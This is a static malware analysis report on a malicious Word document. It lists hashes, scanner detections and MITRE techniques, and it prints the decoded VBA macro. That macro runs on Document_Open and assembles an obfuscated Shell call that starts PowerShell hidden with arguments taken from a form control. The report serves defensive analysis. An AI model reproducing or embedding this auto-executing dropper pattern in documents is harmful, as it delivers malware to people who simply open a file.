Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f9156a9fbaa33244…

MALICIOUS

Office (OLE)

265.5 KB Created: 2019-02-04 16:36:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 16a190858f39280c06ca3a502416479b SHA-1: e04260eeb0f089f84f10ff0d4232495ff581a715 SHA-256: f9156a9fbaa332441b37622e85655f58124ff3f7b2357649c42bbe4e720b2dc7
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains a VBA macro that is automatically executed upon opening the document (Document_Open). This macro utilizes the Shell() function to execute 'shell.exe ' followed by obfuscated arguments, indicating an attempt to download and execute a secondary payload. The presence of the Shell() call and auto-execution points to a malicious document designed for initial payload delivery.

Heuristics 6

  • ClamAV: Doc.Malware.00536d-6846009-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6846009-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1355 bytes
SHA-256: f83dffd1edbb936f606e83638bf55556ed43acbc31f519fdfdb6ada66fd49d83
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub Document_Open()

Dim B0AhdyBJ(248) As Byte

Call w("er")
End Sub

Attribute VB_Name = "LhyvCR"
Sub w(UikIH)
Dim YK83lHx(236) As Byte
Dim HiQr1U
HiQr1U = CsTrMk
Dim lexGIK5
lexGIK5 = rT6Lx
B2T6F7z = "shell.exe "
Dim E4uf75(5 To 67) As Long
E4uf75(5) = 367 - 142
Shell ftaxEl() _
& UikIH _
& B2T6F7z _
& GjTYMH0WG _
, 0
End Sub

Attribute VB_Name = "yyCuJDEjQ"
Public Function ftaxEl() As String
Dim RxIcCo() As Byte
ftaxEl = "pow"
End Function

Attribute VB_Name = "yM1V6EqB0"
Public Function GjTYMH0WG()
Dim recSx As Object
Set recSx = New f
Dim rQ6iW As String
rQ6iW = recSx.de.Text
Dim CIHrFx(11 To 140) As String
CIHrFx(11) = "UWCvn"
Dim eCYxpSa() As Byte
GjTYMH0WG = rQ6iW
End Function

Attribute VB_Name = "f"
Attribute VB_Base = "0{9B4B23BB-101E-4C8B-BBE2-B6B8DA227E0D}{51F66BF6-30EA-4680-8C22-28CE0E3B6145}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False